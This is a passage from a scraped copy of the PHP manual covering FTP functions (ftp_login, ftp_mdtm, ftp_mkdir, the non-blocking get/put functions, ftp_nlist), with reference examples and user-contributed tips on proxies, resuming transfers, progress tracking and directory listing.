    if(!stream_set_blocking($pipes[1], 0)){
        fclose($pipes[0]); fclose($pipes[1]);
        return false;
    }
    $fail=false;
    $data='';
    if(is_null($resume_pos)){
        $ret=ftp_nb_fget($ftp_stream, $pipes[0], $remote_file, $mode);
    } else {
        $ret=ftp_nb_fget($ftp_stream, $pipes[0], $remote_file, $mode, $resume_pos);
    }
    while($ret==FTP_MOREDATA){
        while(!$fail && !feof($pipes[1])){
            $r=fread($pipes[1], 8192);
            if($r==='') break;
            if($r===false){ $fail=true; break; }
            $data.=$r;
        }
        $ret=ftp_nb_continue($ftp_stream);
    }
    while(!$fail && !feof($pipes[1])){
        $r=fread($pipes[1], 8192);
        if($r==='') break;
        if($r===false){ $fail=true; break; }
        $data.=$r;
    }
    fclose($pipes[0]); fclose($pipes[1]);
    if($fail || $ret!=FTP_FINISHED) return false;
    return $data;
}
?>

Something similar would work to write a ftp_put_contents function, too.
administrator at gesoft dot org 12-Aug-2006 03:05
Hello everybody,

If someone will try to download files to the same local file (some temporary file), like shown here:

<?php
foreach ($files as $key=>$path) {
...
  $result = ftp_get($ftpConnId, 'temp.tmp', $path, FTP_BINARY);
...
}
?>

please take in consideration the fact that you will have big problems with downloading (getting) hole files. In other words ‘temp.tmp’ file always will have the same size equal to first downloaded file despite the real size of downloading file. I have not idea what is the reason!

If someone will think that problem is just in getting proper file size (which you will get using filssize() function) he will be mistaken. The download file’s size is not equal to source file’s size materially, that means fflush() function will not solve the problem (I have tried this as well).

Finally the solution was founded: before downloading a file you will need to delete local file if such exist (‘temp.tmp’). So working code will look like:

<?php
foreach ($files as $key=>$path) {
...
  if (file_exists('temp.tmp')) {
    unlink('temp.tmp');
  }
  $result = ftp_get($ftpConnId, 'temp.tmp', $path, FTP_BINARY);
...
}
?>

Good luck in scripting :-)

Vitali Simsive
corey-holzer at nyc dot rr dot com 23-Jan-2004 06:20
The zero size file is not a side effect.  When the ftp_get starts the first thing it does is to create the inode/file which it will stream the data too and that is a zero size file with the nname you specified for the local file.  When the download fails it leaves the file in place.
thivierr at telus dot net 22-Nov-2003 02:25
If you previously downloaded a file before (like a huge web log), and just want to get the remaining portion, do this:

$local_file_size = filesize($local_file_path);
$get_result = ftp_get($conn_id, $local_file_path, $remote_file_path, FTP_BINARY, $local_file_size);

This same code works regardless of wether the local file exists already or not.  You should first test to make sure the local file is not bigger than the remote file.
ramiro at qusarcr dot com 06-Nov-2002 07:36
Keep in mind that ftp_get will overwrite the file on your local machine if it has the same name.
ftp_get_option
ftp_login
FTP Functions


Logs in to an FTP connection

ftp_get
ftp_mdtm
FTP Functions
PHP Manual

ftp_login

(PHP 4, PHP 5)

ftp_login — Logs in to an FTP connection

Description

bool ftp_login ( resource $ftp_stream , string $username , string $password )

Logs in to the given FTP stream.

Parameters

ftp_stream

The link identifier of the FTP connection.

username

The username (USER).

password

The password (PASS).

Return Values

Returns TRUE on success or FALSE on failure. If login fails, PHP will also throw a warning.

Examples

Example #1 ftp_login() example

<?php

$ftp_server = "ftp.example.com";
$ftp_user = "foo";
$ftp_pass = "bar";

// set up a connection or die
$conn_id = ftp_connect($ftp_server) or die("Couldn't connect to $ftp_server");

// try to login
if (@ftp_login($conn_id, $ftp_user, $ftp_pass)) {
    echo "Connected as $ftp_user@$ftp_server\n";
} else {
    echo "Couldn't connect as $ftp_user\n";
}

// close the connection
ftp_close($conn_id);
?>

User Contributed Notes

mattsch at gmail dot com 30-Nov-2010 08:12
Note that to make an anonymous ftp connection, you need to specify "anonymous" as the username and "" (empty string) as the password.

Example:
<?php
ftp_login('ftp.example.com', 'anonymous', '');
?>
Guibod 26-Oct-2004 01:37
ftp_login does not support ftp trough proxy authentication. So think about using the new PHP5 function ftp_raw() that's allow you to send directly FTP commands. ftp_raw() allow you to send commands prior to be connected (unlike ftp_exec()).

I've writen this piece of code that's allow you to connect through a "remoteid@remotehost proxyid" proxy.

<?php
function ftp_parse_response($response, &$errstr) {
    if(!is_array($response)) {
        $errstr    = 'Parameter \$response must be an array';
        return false;
    }

    foreach($response as $r) {
        $code    = substr(trim($r),0,3);

        if(!is_numeric($code)) {
            $errstr    = "$code is not a valid FTP code",$code);
        }

        if($code > 400) {
            $errstr    = $r;
            return false;
        }
    }

    return true;
}

$user = "user";
$pass = "password";
$host = "ftp.example.com";
$proxyuser = "proxyuser";
$proxypass = "proxypass";
$proxyhost = "ftp.proxy.com";

$conn_id = ftp_connect($proxyhost);

if(!$conn_id) {
    die("cannot connect to proxy");
}

$commands   = array(
    "USER ".$user."@".$host." ".$proxyuser,
    "PASS ".$pass,
    "PASS ".$proxypass
);

foreach($commands as $c) {
    $ret    = ftp_raw($conn_id,$c);

    //you can write your own ftp_parse_response func that
    //use an array of string as input
    if(!ftp_parse_response($ret,$errstr)) {
        ftp_close($conn_id);
        die("cannot login to $host");
    }
}

echo "ok, now connected";
?>
ftp_get
ftp_mdtm
FTP Functions


Returns the last modified time of the given file

ftp_login
ftp_mkdir
FTP Functions
PHP Manual

ftp_mdtm

(PHP 4, PHP 5)

ftp_mdtm — Returns the last modified time of the given file

Description

int ftp_mdtm ( resource $ftp_stream , string $remote_file )

ftp_mdtm() gets the last modified time for a remote file.

Note:

Not all servers support this feature!

Note:

ftp_mdtm() does not work with directories.

Parameters

ftp_stream

The link identifier of the FTP connection.

remote_file

The file from which to extract the last modification time.

Return Values

Returns the last modified time as a Unix timestamp on success, or -1 on error.

Examples

Example #1 ftp_mdtm() example

<?php

$file = 'somefile.txt';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

//  get the last modified time
$buff = ftp_mdtm($conn_id, $file);

if ($buff != -1) {
    // somefile.txt was last modified on: March 26 2003 14:16:41.
    echo "$file was last modified on : " . date("F d Y H:i:s.", $buff);
} else {
    echo "Couldn't get mdtime";
}

// close the connection
ftp_close($conn_id);

?>

User Contributed Notes

Jaytop 12-Jun-2005 12:51
Seems to work with directories as well on my Win32 box.
wseibert at hxcorp dot com 04-Nov-2004 12:55
When trying to get the modified time of a file that has spaces in it, ftp_mdtm will fail on some FTP servers.  If this happens, surround the file name with quotes.

$file_name = "my index.html";

$file_modtime = ftp_mdtm($connection, '"'.$file_name.'"')
ftp_login
ftp_mkdir
FTP Functions


Creates a directory

ftp_mdtm
ftp_nb_continue
FTP Functions
PHP Manual

ftp_mkdir

(PHP 4, PHP 5)

ftp_mkdir — Creates a directory

Description

string ftp_mkdir ( resource $ftp_stream , string $directory )

Creates the specified directory on the FTP server.

Parameters

ftp_stream

The link identifier of the FTP connection.

directory

The name of the directory that will be created.

Return Values

Returns the newly created directory name on success or FALSE on error.

Examples

Example #1 ftp_mkdir() example

<?php

$dir = 'www';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to create the directory $dir
if (ftp_mkdir($conn_id, $dir)) {
 echo "successfully created $dir\n";
} else {
 echo "There was a problem while creating $dir\n";
}

// close the connection
ftp_close($conn_id);
?>

See Also

  • ftp_rmdir() - Removes a directory

User Contributed Notes

butch AT 4RealMedia dot com 12-Sep-2006 11:26
When trying to user the ftp_mkdir, or ftp_chdir I've noticed that some servers like the entire path such as

/usr/local/home/username/sitename/directory/

and other servers, want you to use the path from the initial login, such as just /sitename/directory/

Just wanted to pass this on
vladimir at lukianov dot name 15-Mar-2004 10:28
For recurrent following function work better.
Some ftp servers (like WarFTP) become demented if you'll
try mkdir not from root dir and if path will be relative.
The second if one of dir (like '/') already exist You'll get access denied.

<?php
 function MkDir($path)
  {
   $dir=split("/", $path);
   $path="";
   $ret = true;

   for ($i=0;$i<count($dir);$i++)
   {
       $path.="/".$dir[$i];
       echo "$path\n";
       if(!@ftp_chdir($this->conn_id,$path)){
         @ftp_chdir($this->conn_id,"/");
         if(!@ftp_mkdir($this->conn_id,$path)){
          $ret=false;
          break;
         }
       }
   }
   return $ret;
  }
?>
ftp_mdtm
ftp_nb_continue
FTP Functions


Continues retrieving/sending a file (non-blocking)

ftp_mkdir
ftp_nb_fget
FTP Functions
PHP Manual

ftp_nb_continue

(PHP 4 >= 4.3.0, PHP 5)

ftp_nb_continue — Continues retrieving/sending a file (non-blocking)

Description

int ftp_nb_continue ( resource $ftp_stream )

Continues retrieving/sending a file non-blocking.

Parameters

ftp_stream

The link identifier of the FTP connection.

Return Values

Returns FTP_FAILED or FTP_FINISHED or FTP_MOREDATA.

Examples

Example #1 ftp_nb_continue() example

<?php

// Initate the download
$ret = ftp_nb_get($my_connection, "test", "README", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   // Continue downloading...
   $ret = ftp_nb_continue($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error downloading the file...";
   exit(1);
}
?>

User Contributed Notes

There are no user contributed notes for this page.
ftp_mkdir
ftp_nb_fget
FTP Functions


Retrieves a file from the FTP server and writes it to an open file (non-blocking)

ftp_nb_continue
ftp_nb_fput
FTP Functions
PHP Manual

ftp_nb_fget

(PHP 4 >= 4.3.0, PHP 5)

ftp_nb_fget — Retrieves a file from the FTP server and writes it to an open file (non-blocking)

Description

int ftp_nb_fget ( resource $ftp_stream , resource $handle , string $remote_file , int $mode [, int $resumepos = 0 ] )

ftp_nb_fget() retrieves a remote file from the FTP server.

The difference between this function and ftp_fget() is that this function retrieves the file asynchronously, so your program can perform other operations while the file is being downloaded.

Parameters

ftp_stream

The link identifier of the FTP connection.

handle

An open file pointer in which we store the data.

remote_file

The remote file path.

mode

The transfer mode. Must be either FTP_ASCII or FTP_BINARY.

resumepos

The position in the remote file to start downloading from.

Return Values

Returns FTP_FAILED or FTP_FINISHED or FTP_MOREDATA.

Examples

Example #1 ftp_nb_fget() example

<?php

// open some file for reading
$file = 'index.php';
$fp = fopen($file, 'w');

$conn_id = ftp_connect($ftp_server);

$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// Initate the download
$ret = ftp_nb_fget($conn_id, $fp, $file, FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   // Do whatever you want
   echo ".";

   // Continue downloading...
   $ret = ftp_nb_continue($conn_id);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error downloading the file...";
   exit(1);
}

// close filepointer
fclose($fp);
?>

See Also

  • ftp_nb_get() - Retrieves a file from the FTP server and writes it to a local file (non-blocking)
  • ftp_nb_continue() - Continues retrieving/sending a file (non-blocking)
  • ftp_fget() - Downloads a file from the FTP server and saves to an open file
  • ftp_get() - Downloads a file from the FTP server

User Contributed Notes

pilif at pilif dot ch 16-Nov-2004 05:53
If you want to monitor the progress of the download, you may use the filesize()-Function.

But note: The results of said function are cached, so you'll always get 0 bytes. Call clearstatcache() before calling filesize() to determine the actual size of the downloaded file.

This may have performance implications, but if you want to provide the information, there's no way around it.

Above sample extended:

<?php
// get the size of the remote file
$fs = ftp_size($my_connection, "test");

// Initate the download
$ret = ftp_nb_get($my_connection, "test", "README", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   clearstatcache(); // <- this is important
   $dld = filesize($locfile);
   if ( $dld > 0 ){
       // calculate percentage
       $i = ($dld/$fs)*100;
       printf("\r\t%d%% downloaded", $i);
   }

   // Continue downloading...
   $ret = ftp_nb_continue ($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error downloading the file...";
   exit(1);
}
?>

Philip
ftp_nb_continue
ftp_nb_fput
FTP Functions


Stores a file from an open file to the FTP server (non-blocking)

ftp_nb_fget
ftp_nb_get
FTP Functions
PHP Manual

ftp_nb_fput

(PHP 4 >= 4.3.0, PHP 5)

ftp_nb_fput — Stores a file from an open file to the FTP server (non-blocking)

Description

int ftp_nb_fput ( resource $ftp_stream , string $remote_file , resource $handle , int $mode [, int $startpos = 0 ] )

ftp_nb_fput() uploads the data from a file pointer to a remote file on the FTP server.

The difference between this function and the ftp_fput() is that this function uploads the file asynchronously, so your program can perform other operations while the file is being uploaded.

Parameters

ftp_stream

The link identifier of the FTP connection.

remote_file

The remote file path.

handle

An open file pointer on the local file. Reading stops at end of file.

mode

The transfer mode. Must be either FTP_ASCII or FTP_BINARY.

startpos

The position in the remote file to start uploading to.

Return Values

Returns FTP_FAILED or FTP_FINISHED or FTP_MOREDATA.

Examples

Example #1 ftp_nb_fput() example

<?php

$file = 'index.php';

$fp = fopen($file, 'r');

$conn_id = ftp_connect($ftp_server);

$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// Initate the upload
$ret = ftp_nb_fput($conn_id, $file, $fp, FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   // Do whatever you want
   echo ".";

   // Continue upload...
   $ret = ftp_nb_continue($conn_id);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error uploading the file...";
   exit(1);
}

fclose($fp);
?>

See Also

  • ftp_nb_put() - Stores a file on the FTP server (non-blocking)
  • ftp_nb_continue() - Continues retrieving/sending a file (non-blocking)
  • ftp_put() - Uploads a file to the FTP server
  • ftp_fput() - Uploads from an open file to the FTP server

User Contributed Notes

jascha at bluestatedigital dot com 27-Dec-2004 06:45
There is an easy way to check progress while uploading a file.  Just use the ftell function to watch the position in the file handle.  ftp_nb_fput will increment the position as the file is transferred.

Example:

<?

    $fh = fopen ($file_name, "r");
    $ret = ftp_nb_fput ($ftp, $file_name, $fh, FTP_BINARY);
    while ($ret == FTP_MOREDATA) {
        print ftell ($fh)."\n";
        $ret = ftp_nb_continue($ftp);
    }
    if ($ret != FTP_FINISHED) {
        print ("error uploading\n");
        exit(1);
    }
    fclose($fh);

?>

This will print out the number of bytes transferred thus far, every time the loop runs.  Coverting this into a percentage is simply a matter of dividing the number of bytes transferred by the total size of the file.
pain at ziodex dot com 05-Dec-2004 11:44
While trying to create a progress bar for uploading files with the ftp_nb_fput() function
I've noticed that the ftp_size() function will not work during the upload  progess if you are using the
same resource handle.

<?php
    // This will not work
    // ...
    $ret = ftp_nb_fput($conn_id, $remote_file, $fp, FTP_BINARY);
    while ($ret == FTP_MOREDATA) {
        // ...
        $remote_file_size = ftp_size($conn_id, $remote_file);
        // ...
        $ret = ftp_nb_continue($conn_id);
    }
    // ...
?>

However, by creating a new connection to the server you can retrieve current file size of the uploaded file, then
compare it with your local file to calculate the progress. A full example follows:

<?php
    ob_end_flush();
    $remote_file = 'remote.txt';
    $local_file = 'local.txt';

    $fp = fopen($local_file, 'r');
    $conn_id = ftp_connect($ftp_server);
    $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
    $ret = ftp_nb_fput($conn_id, $remote_file, $fp, FTP_BINARY);
    while ($ret == FTP_MOREDATA) {
        // Establish a new connection to FTP server
        if(!isset($conn_id2)) {
            $conn_id2 = ftp_connect($ftp_server);
            $login_result2 = ftp_login($conn_id2, $ftp_user_name, $ftp_user_pass);
        }

        // Retreive size of uploaded file.
        if(isset($conn_id2)) {
            clearstatcache(); // <- this must be included!!
            $remote_file_size = ftp_size($conn_id2, $remote_file);
        }

       // Calculate upload progress
       $local_file_size  = filesize($local_file);
       if (isset($remote_file_size) && $remote_file_size > 0 ){
           $i = ($remote_file_size/$local_file_size)*100;
           printf("%d%% uploaded<br>", $i);
           flush();
       }
        $ret = ftp_nb_continue($conn_id);
    }

    if ($ret != FTP_FINISHED) {
        print("There was an error uploading the file...<br>");
        exit(1);
    }
    else {
        print("Done.<br>");
    }
    fclose($fp);
?>
ftp_nb_fget
ftp_nb_get
FTP Functions


Retrieves a file from the FTP server and writes it to a local file (non-blocking)

ftp_nb_fput
ftp_nb_put
FTP Functions
PHP Manual

ftp_nb_get

(PHP 4 >= 4.3.0, PHP 5)

ftp_nb_get — Retrieves a file from the FTP server and writes it to a local file (non-blocking)

Description

int ftp_nb_get ( resource $ftp_stream , string $local_file , string $remote_file , int $mode [, int $resumepos = 0 ] )

ftp_nb_get() retrieves a remote file from the FTP server, and saves it into a local file.

The difference between this function and ftp_get() is that this function retrieves the file asynchronously, so your program can perform other operations while the file is being downloaded.

Parameters

ftp_stream

The link identifier of the FTP connection.

local_file

The local file path (will be overwritten if the file already exists).

remote_file

The remote file path.

mode

The transfer mode. Must be either FTP_ASCII or FTP_BINARY.

resumepos

The position in the remote file to start downloading from.

Return Values

Returns FTP_FAILED or FTP_FINISHED or FTP_MOREDATA.

Examples

Example #1 ftp_nb_get() example

<?php

// Initate the download
$ret = ftp_nb_get($my_connection, "test", "README", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   // Do whatever you want
   echo ".";

   // Continue downloading...
   $ret = ftp_nb_continue($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error downloading the file...";
   exit(1);
}
?>

Example #2 Resuming a download with ftp_nb_get()

<?php

// Initate
$ret = ftp_nb_get($my_connection, "test", "README", FTP_BINARY,
                      filesize("test"));
// OR: $ret = ftp_nb_get($my_connection, "test", "README",
//                           FTP_BINARY, FTP_AUTORESUME);
while ($ret == FTP_MOREDATA) {

   // Do whatever you want
   echo ".";

   // Continue downloading...
   $ret = ftp_nb_continue($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error downloading the file...";
   exit(1);
}
?>

Example #3 Resuming a download at position 100 to a new file with ftp_nb_get()

<?php

// Disable Autoseek
ftp_set_option($my_connection, FTP_AUTOSEEK, false);

// Initiate
$ret = ftp_nb_get($my_connection, "newfile", "README", FTP_BINARY, 100);
while ($ret == FTP_MOREDATA) {

   /* ... */

   // Continue downloading...
   $ret = ftp_nb_continue($my_connection);
}
?>

In the example above, newfile is 100 bytes smaller than README on the FTP server because we started reading at offset 100. If we didn't disable FTP_AUTOSEEK, the first 100 bytes of newfile would be '\0'.

See Also

  • ftp_nb_fget() - Retrieves a file from the FTP server and writes it to an open file (non-blocking)
  • ftp_nb_continue() - Continues retrieving/sending a file (non-blocking)
  • ftp_fget() - Downloads a file from the FTP server and saves to an open file
  • ftp_get() - Downloads a file from the FTP server

User Contributed Notes

passerbyxp at gmail dot com 04-Jan-2012 08:24
Note that you may have to keep calling ftp_nb_continue in order to complete the download. For example, if you do this:

<?php
ftp_nb_get($conn,$localfile,$remotefile,FTP_BINARY)
//do some LONG time work
while(ftp_nb_continue($conn)!=FTP_FINISHED){}
?>

Your local file may only contains a few kilobytes and the later ftp_nb_continue will keep raising warning of no more data (due to connection time out, I guess).

So you may want to do this instead:

<?php
$dl=ftp_nb_get($conn,$localfile,$remotefile,FTP_BINARY)
//part of long time work
if(ftp_nb_continue($conn)==FTP_MOREDATA) {}
//part of long time work
if(ftp_nb_continue($conn)==FTP_MOREDATA) {}
//continue to do this until you finish the long time work
while(ftp_nb_continue($conn)==FTP_MOREDATA){}
?>

This happened on my Windows XP + PHP 5.3.8 under CLI. Hope this helps someone.
ftp_nb_fput
ftp_nb_put
FTP Functions


Stores a file on the FTP server (non-blocking)

ftp_nb_get
ftp_nlist
FTP Functions
PHP Manual

ftp_nb_put

(PHP 4 >= 4.3.0, PHP 5)

ftp_nb_put — Stores a file on the FTP server (non-blocking)

Description

int ftp_nb_put ( resource $ftp_stream , string $remote_file , string $local_file , int $mode [, int $startpos = 0 ] )

ftp_nb_put() stores a local file on the FTP server.

The difference between this function and the ftp_put() is that this function uploads the file asynchronously, so your program can perform other operations while the file is being uploaded.

Parameters

ftp_stream

The link identifier of the FTP connection.

remote_file

The remote file path.

local_file

The local file path.

mode

The transfer mode. Must be either FTP_ASCII or FTP_BINARY.

startpos

The position in the remote file to start uploading to.

Return Values

Returns FTP_FAILED or FTP_FINISHED or FTP_MOREDATA.

Examples

Example #1 ftp_nb_put() example

<?php

// Initiate the Upload
$ret = ftp_nb_put($my_connection, "test.remote", "test.local", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   // Do whatever you want
   echo ".";

   // Continue uploading...
   $ret = ftp_nb_continue($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error uploading the file...";
   exit(1);
}
?>

Example #2 Resuming an upload with ftp_nb_put()

<?php

// Initiate
$ret = ftp_nb_put($my_connection, "test.remote", "test.local",
                      FTP_BINARY, ftp_size("test.remote"));
// OR: $ret = ftp_nb_put($my_connection, "test.remote", "test.local",
//                           FTP_BINARY, FTP_AUTORESUME);

while ($ret == FTP_MOREDATA) {

   // Do whatever you want
   echo ".";

   // Continue uploading...
   $ret = ftp_nb_continue($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error uploading the file...";
   exit(1);
}
?>

See Also

  • ftp_nb_fput() - Stores a file from an open file to the FTP server (non-blocking)
  • ftp_nb_continue() - Continues retrieving/sending a file (non-blocking)
  • ftp_put() - Uploads a file to the FTP server
  • ftp_fput() - Uploads from an open file to the FTP server

User Contributed Notes

WebSee.ru 10-Aug-2009 06:01
How to realize the possibility of transferring data from one FTP-server to another via FXP:

<?php
// ...

$ansver = ftp_raw($ftp_conn1, 'PASV');

if (intval($ansver[0]) == 227) {
    ftp_raw($ftp_conn2, 'PORT '.substr($ansver[0], $n = strpos($ansver[0], '(') + 1, strpos($m[0], ')', $n) - $n));
    ftp_raw($ftp_conn1, 'STOR '.$filename); // need asynchronously (non-blocking)
    ftp_raw($ftp_conn2, 'RETR '.$filename);
}
?>
kaiohken1982 at hotmail dot com 28-Nov-2006 04:53
Hi,
I tried to use both ftp_put() and ftp_nb_put() adding the
variable $start = date("Y:m:d h:i:s"); at the begin of the script and the variable $end = date("Y:m:d h:i:s"); at its end, after the file upload function.
With the gprs connection I'm now using and trying to upload a .jpg file of 67,5 kb the time difference between $start and $end was 40 seconds in both cases, so I can suppose that there is no difference between these upload function.
The difference comes if you put anything inside the while ($ftp_upload == FTP_MOREDATA) loop.
I hope this note can help.
Regards
Ariel asphp at dsgml dot com 12-Jul-2006 12:11
Don't add a sleep() inside the loop. If you do you will severely slow down the upload.

In my tests, each time through the loop it send about 2.5K, looping about 220 times per second. (Which is very little.)

You won't necessarily get the same numbers as me per loop, but clearly PHP does it's own management of the loop so that you don't consume all the CPU on the server.
brandon dot farber at gmail dot com 01-Feb-2006 03:14
I couldn't see this noted anywhere...

ftp_nb_put apparently takes a much much longer time to upload the file than ftp_put (I haven't done any packet sniffing or logging tests to find out why).  I was using a script, nearly identical to the example above, and a 100KB file had only uploaded 3.99KB after about 8 minutes!  The php script naturally timed out before it was complete.

I changed my function to use ftp_put, got rid of the loop to check FTP_MOREDATA (as you will see in the example above), and the same script uploaded 2.2MB within 30 seconds with no other changes.

If you're using this function instead of ftp_put *purely to try to speed up your script* and it's taking a long time, you might want to try ftp_put instead.
ted at hostleft dot com 11-Jan-2005 01:13
If you receive an error like:

Warning:  ftp_nb_put(): Unable to service PORT commands in /path/to/file.php on line 27

verify whether you need to be in PASV mode. You can go into PASV mode by declaring

>  ftp_pasv($cnx,TRUE);
manu at manux dot org 07-Jan-2005 11:35
When using non blocking functions if you try to disconnect while your non blocking operation is in progress the disconnect command will not work until the operation is not finished.
ftp_nb_get
ftp_nlist
FTP Functions


Returns a list of files in the given directory

ftp_nb_put
ftp_pasv
FTP Functions
PHP Manual

ftp_nlist

(PHP 4, PHP 5)

ftp_nlist — Returns a list of files in the given directory

Description

array ftp_nlist ( resource $ftp_stream , string $directory )

Parameters

ftp_stream

The link identifier of the FTP connection.

directory

The directory to be listed. This parameter can also include arguments, eg. ftp_nlist($conn_id, "-la /your/dir"); Note that this parameter isn't escaped so there may be some issues with filenames containing spaces and other characters.

Return Values

Returns an array of filenames from the specified directory on success or FALSE on error.

Examples

Example #1 ftp_nlist() example

<?php

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// get contents of the current directory
$contents = ftp_nlist($conn_id, ".");

// output $contents
var_dump($contents);

?>

The above example will output something similar to:

array(3) {
  [0]=>
  string(11) "public_html"
  [1]=>
  string(10) "public_ftp"
  [2]=>
  string(3) "www"

See Also

  • ftp_rawlist() - Returns a detailed list of files in the given directory

User Contributed Notes

vijay dot mahrra at fronter dot com 17-Mar-2011 02:35
We needed to get a list of all files in all subdirectories and couldn't see a method to do this so we wrote our own:

<?php
/**
 * ftpRecursiveFileListing
 *
 * Get a recursive listing of all files in all subfolders given an ftp handle and path
 *
 * @param resource $ftpConnection  the ftp connection handle
 * @param string $path  the folder/directory path
 * @return array $allFiles the list of files in the format: directory => $filename
 * @author Niklas Berglund
 * @author Vijay Mahrra
 */
function ftpRecursiveFileListing($ftpConnection, $path) {
    static $allFiles = array();
    $contents = ftp_nlist($ftpConnection, $path);

    foreach($contents as $currentFile) {
        // assuming its a folder if there's no dot in the name
        if (strpos($currentFile, '.') === false) {
            ftpRecursiveFileListing($ftpConnection, $currentFile);
        }
        $allFiles[$path][] = substr($currentFile, strlen($path) + 1);
    }
    return $allFiles;
}
?>
zgardner at allofe dot com 28-Nov-2010 05:46
While running WAMP (Vista, Apache 2.21, MySQL 5.1.36, PHP 5.3) and recursively downloading files from a LAMP FTP server (Ubuntu 8.04, Apache 2.2.8, MySQL 5.1.51a, PHP 5.2.4, VSFPTD), I would find that my script stops downloading files after a while. I traced it to the call to ftp_nlist halting the script.

To solve this, I did a ftp_pasv($ftp, true). There's nothing in the VSFTPD, Apache, or PHP error logs on either the client or the server. Very strange.
Estigy (guenther.stadler [at] gmx.net) 02-Sep-2010 02:41
I experienced that with certain versions of FTP servers, passing additional parameters to ftp_nlist can change the format of the list you get back.

Example:
<?php
$arrFiles = ftp_nlist($connId, '-la ' . $dstDir);
?>
While one of my servers returned only the list of filenames (as expected), the other one returned a list consisting not only of filenames, but looking like the output of ftp_rawlist - including rights, filesize, creation date etc.

Using the paramter "-a" instead of "-la" changed this, both servers returned only filenames.
Anonymous 29-Dec-2009 09:39
Some complain that ftp_nlist, always return FALSE. I did experience this behavior myself, until I used ftp_pasv, which is useful if your client is behind a firewall (which most clients are now), then ftp_nlist worked just fine. I don't really know what are all the implications of using ftp_pasv, but if you read or experience that ftp_nlist, ftp_get, ftp_nb_get doesn't work, try adding the following:

ftp_pasv($conn_id,true);
juhakala at gmail dot com 07-May-2008 03:23
I noticed that this function won't work if working path is different, because $dir keeps value of whole path string. That's why adding basename()-function strips the path and this function will work also sub folders, not only in root folder.

function ftp_is_dir($dir) {
  global $ftp_connect;
  if (ftp_chdir($ftp_connect, basename($dir))) {
    ftp_chdir($ftp_connect, '..');
    return true;
  } else {
    return false;
  }
}
webmaster at weltvolk dot de 12-Oct-2007 06:28
In order to make file/folder separation work on remote servers that do not support ftp_size() it's better to use the function ftp_is_dir() mentioned below:

<?php

//identify directories

function ftp_is_dir($dir) {
  global $ftp_connect;
  if (ftp_chdir($ftp_connect, $dir)) {
    ftp_chdir($ftp_connect, '..');
    return true;
  } else {
    return false;
  }
}
$ftp_nlist = ftp_nlist($ftp_connect, ".");

//alphabetical sorting

sort($ftp_nlist);
foreach ($ftp_nlist as $v) {

//1. ftp_is_dir() is true => directory
  if (ftp_is_dir($v)) {

//output as [ directory ]
      echo "[ " . $v . " ]<br />\n";
  }
}
foreach ($ftp_nlist as $v) {

//2. ftp_is_dir() is false => file
  if (!ftp_is_dir($v)) {

//output as file
      echo "" . $v . "<br />\n";
  }
}
?>
webmaster at weltvolk dot de 05-Oct-2007 02:24
How to get the file list in alphabetical order with all directories at the top:

<?php
$ftp_nlist = ftp_nlist($ftp_connect, ".");

//alphabetical sorting

sort($ftp_nlist);
foreach ($ftp_nlist as $v) {

//1. Size is '-1' => directory
  if (ftp_size($ftp_connect, $v) == -1) {

//output as [ directory ]
      echo "[ " . $v . " ]<br />\n";
  }
}
foreach ($ftp_nlist as $v) {

//2. Size is not '-1' => file
  if (!(ftp_size($ftp_connect, $v) == -1)) {

//output as file
      echo "" . $v . "<br />\n";
  }
}
?>

Result looks like:

[ a_mydirectory ]
[ b_mydirectory ]
[ c_mydirectory ]
...
a_myfile.htm
b_myfile.css
c_myfile.php
...
wim dot dupre at skynet dot be 20-Aug-2007 05:59
php 5.2.2 on MAC OS 1.4 (Tiger) seems to defaut to active ftp. to get ftp_nlist functioning, i needed to force ftp to passive.
the default behaviour with PHP 5.2.3 on windows XP seems to be passive ftp.

greetz,

wim
ralph at ralphje dot nl 16-Aug-2007 03:13
If you receive an error due some open_basedir restrictions, use the following:

<?php
putenv('TMPDIR=/tmp/');
$filelist = ftp_nlist($ftp, "./accounts");
?>

(if /tmp/ is an allowed directory within open_basedir)

It took me a while to find this out.
AndyM 13-Aug-2007 09:13
Be careful tom at crysis-online dot com - your suggested method seems to be server dependent. I'm currently trying to talk to a proftpd server and the size returned is -1 for all files it seems.
tom at crysis-online dot com 09-Aug-2007 04:12
This function is way faster than those below for checking if an object is a file or folder.

<?php
function is_ftp_dir($file, $ftp_connection){
    if(ftp_size($ftp_connection, $file) == '-1'){
        return true; // Is directory
    }else{
        return false; // Is file
    }
}
?>
bintjes at gmail dot com 24-Jul-2007 02:51
I've made a recursive function to list all files from folders and subfolders using ftp_rawlist() . I used the function below from ari,  parse_rawlist()

function list_all_files($conn_id, $path){
    $buff = ftp_rawlist($conn_id, $path);
    $res = parse_rawlist( $buff) ;
    static $flist = array();
    if(count($res)>0){
        foreach($res as $result){
            // verify if is dir , if not add to the  list of files
            if($result['size']== 0){
                // recursively call the function if this file is a folder
                list_all_files($conn_id, $path.'/'.$result['name']);
            }
            else{
            // this is a file, add to final list
                $flist[] = $result;
            }
        }
    }
    return $flist;
}
josh at servebyte dot com 21-Feb-2007 10:40
Function Keywords: is_file is_dir

<?php
$ftp_server = 'IP OR HOSTNAME HERE';
$ftp_user_name = 'USERNAME';
$ftp_user_pass = 'PASSWORD';
// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

